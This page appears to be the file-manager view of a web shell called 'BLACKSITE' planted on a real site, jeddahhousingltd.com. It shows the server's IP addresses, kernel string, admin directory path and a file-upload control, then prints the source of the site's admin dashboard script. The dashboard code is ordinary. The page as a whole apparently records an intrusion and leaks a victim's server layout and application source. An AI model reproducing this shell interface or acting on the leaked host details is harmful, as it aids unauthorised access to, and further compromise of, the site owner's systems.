BLACKSITE
:
216.73.216.140
:
199.188.200.160 / jeddahhousingltd.com
:
Linux server383.web-hosting.com 4.18.0-553.83.1.lve.el8.x86_64 #1 SMP Wed Nov 12 10:04:12 UTC 2025 x86_64
:
/
home
/
jeddveug
/
www
/
admin
/
Upload File:
files >> /home/jeddveug/www/admin/index.php
<?php require_once __DIR__ . '/../config/db.php'; // Check authentication if (!isset($_SESSION['admin_id'])) { header('Location: login.php'); exit; } $admin_page_title = 'Dashboard'; require_once 'includes/header.php'; // Stats $total_offers = $pdo->query("SELECT COUNT(*) FROM offers")->fetchColumn(); $total_members = $pdo->query("SELECT COUNT(*) FROM members")->fetchColumn(); $total_blogs = $pdo->query("SELECT COUNT(*) FROM blogs")->fetchColumn(); $total_messages = $pdo->query("SELECT COUNT(*) FROM messages")->fetchColumn(); $total_gallery = $pdo->query("SELECT COUNT(*) FROM gallery")->fetchColumn(); $unread_msgs = $pdo->query("SELECT COUNT(*) FROM messages WHERE is_read = 0")->fetchColumn(); // Recent messages $recent_messages = $pdo->query("SELECT * FROM messages ORDER BY created_at DESC LIMIT 5")->fetchAll(); ?> <!-- Stats Cards --> <div class="grid grid-cols-1 sm:grid-cols-2 lg:grid-cols-3 xl:grid-cols-6 gap-4 mb-8"> <a href="offers.php" class="bg-white rounded-xl p-5 shadow-sm hover:shadow-md transition-shadow border-l-4 border-primary-500"> <div class="flex items-center justify-between"> <div> <p class="text-2xl font-bold text-gray-800"><?= $total_offers ?></p> <p class="text-sm text-gray-500 mt-1">Offers</p> </div> <div class="w-12 h-12 bg-primary-100 rounded-xl flex items-center justify-center"> <i class="fas fa-tags text-primary-600 text-lg"></i> </div> </div> </a> <a href="members.php" class="bg-white rounded-xl p-5 shadow-sm hover:shadow-md transition-shadow border-l-4 border-blue-500"> <div class="flex items-center justify-between"> <div> <p class="text-2xl font-bold text-gray-800"><?= $total_members ?></p> <p class="text-sm text-gray-500 mt-1">Members</p> </div> <div class="w-12 h-12 bg-blue-100 rounded-xl flex items-center justify-center"> <i class="fas fa-users text-blue-600 text-lg"></i> </div> </div> </a> <a href="blogs.php" class="bg-white rounded-xl p-5 shadow-sm hover:shadow-md transition-shadow border-l-4 border-purple-500"> <div class="flex items-center justify-between"> <div> <p class="text-2xl font-bold text-gray-800"><?= $total_blogs ?></p> <p class="text-sm text-gray-500 mt-1">Blog Posts</p> </div> <div class="w-12 h-12 bg-purple-100 rounded-xl flex items-center justify-center"> <i class="fas fa-blog text-purple-600 text-lg"></i> </div> </div> </a> <a href="gallery.php" class="bg-white rounded-xl p-5 shadow-sm hover:shadow-md transition-shadow border-l-4 border-amber-500"> <div class="flex items-center justify-between"> <div> <p class="text-2xl font-bold text-gray-800"><?= $total_gallery ?></p> <p class="text-sm text-gray-500 mt-1">Gallery</p> </div> <div class="w-12 h-12 bg-amber-100 rounded-xl flex items-center justify-center"> <i class="fas fa-images text-amber-600 text-lg"></i> </div> </div> </a> <a href="messages.php" class="bg-white rounded-xl p-5 shadow-sm hover:shadow-md transition-shadow border-l-4 border-emerald-500"> <div class="flex items-center justify-between"> <div> <p class="text-2xl font-bold text-gray-800"><?= $total_messages ?></p> <p class="text-sm text-gray-500 mt-1">Messages</p> </div> <div class="w-12 h-12 bg-emerald-100 rounded-xl flex items-center justify-center"> <i class="fas fa-envelope text-emerald-600 text-lg"></i> </div> </div> </a> <div class="bg-white rounded-xl p-5 shadow-sm border-l-4 border-red-500"> <div class="flex items-center justify-between"> <div> <p class="text-2xl font-bold text-gray-800"><?= $unread_msgs ?></p> <p class="text-sm text-gray-500 mt-1">Unread</p> </div> <div class="w-12 h-12 bg-red-100 rounded-xl flex items-center justify-center"> <i class="fas fa-envelope-open text-red-600 text-lg"></i> </div> </div> </div> </div> <!-- Recent Messages --> <div class="bg-white rounded-xl shadow-sm"> <div class="flex items-center justify-between px-6 py-4 border-b"> <h3 class="font-semibold text-gray-800">Recent Messages</h3> <a href="messages.php" class="text-sm text-primary-600 hover:text-primary-800 font-medium">View All →</a> </div> <div class="divide-y"> <?php if (empty($recent_messages)): ?> <div class="px-6 py-8 text-center text-gray-400"> <i class="fas fa-inbox text-3xl mb-2"></i> <p>No messages yet</p> </div> <?php else: ?> <?php foreach ($recent_messages as $msg): ?> <div class="px-6 py-4 hover:bg-gray-50 flex items-start space-x-3 <?= !$msg['is_read'] ? 'bg-primary-50/50' : '' ?>"> <div class="w-10 h-10 bg-primary-100 rounded-full flex items-center justify-center flex-shrink-0"> <i class="fas fa-user text-primary-600 text-sm"></i> </div> <div class="flex-1 min-w-0"> <div class="flex items-center justify-between"> <p class="font-medium text-gray-800 text-sm"><?= htmlspecialchars($msg['name']) ?> <?php if (!$msg['is_read']): ?> <span class="inline-block w-2 h-2 bg-primary-500 rounded-full ml-1"></span> <?php endif; ?> </p> <span class="text-xs text-gray-400"><?= date('M j, g:i A', strtotime($msg['created_at'])) ?></span> </div> <p class="text-sm text-gray-500 truncate"><?= htmlspecialchars(substr($msg['message'], 0, 100)) ?></p> <span class="text-xs px-2 py-0.5 rounded-full mt-1 inline-block <?= $msg['type'] === 'offer_inquiry' ? 'bg-gold-100 text-gold-500' : 'bg-blue-100 text-blue-600' ?>"> <?= $msg['type'] === 'offer_inquiry' ? 'Offer Inquiry' : 'Contact' ?> </span> </div> </div> <?php endforeach; ?> <?php endif; ?> </div> </div> <?php require_once 'includes/footer.php'; ?>